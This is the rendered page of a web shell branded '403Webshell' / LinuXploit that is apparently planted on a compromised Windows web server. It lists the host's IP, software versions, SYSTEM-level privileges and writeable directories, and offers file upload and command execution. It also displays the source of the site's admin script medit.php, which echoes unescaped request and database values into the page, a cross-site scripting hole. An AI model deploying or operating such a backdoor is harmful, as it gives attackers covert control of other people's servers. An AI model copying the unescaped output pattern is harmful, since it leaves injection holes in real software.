403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/move/sfadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/move/sfadmin//medit.php
<?php include('header.php');?>

<div id="admin-container"></div>
<div id="admin-left-box">

<?php include('menu.php');?>

</div><!--admin-left-box-->

<div class="admin-right-box">

<div class="title"><h1>Edit Catagory</h1></div>

<?php

$id = $mysqli->escape_string($_GET['id']);

$act=isset($_GET['act'])?$_GET['act']:"";
 
if($act=='sub'){

$category = $mysqli->escape_string($_POST['category']);

$mysqli->query("UPDATE categories SET c_name='$category' WHERE id='$id'");

?>
    
<div class="msg-ok">Catagory updated successfully.</div>  

<?php } 

$SQL = $mysqli->query("SELECT * FROM categories WHERE id='$id'");
$Row = mysqli_fetch_array($SQL);

 ?>

<form id="cat" class="theform" action="medit.php?act=sub&id=<?php echo $id;?>" method="post">

<label for="category">Edit Category</label>
<input type="text" name="category" id="category" value="<?php echo $Row['c_name'];?>"/>

<button id="submit" type="submit">Submit</button>
</form>



</div><!--admin-right-box-->

<!--admin-container-->

<?php include('footer.php');?>

Youez - 2016 - github.com/yon3zu
LinuXploit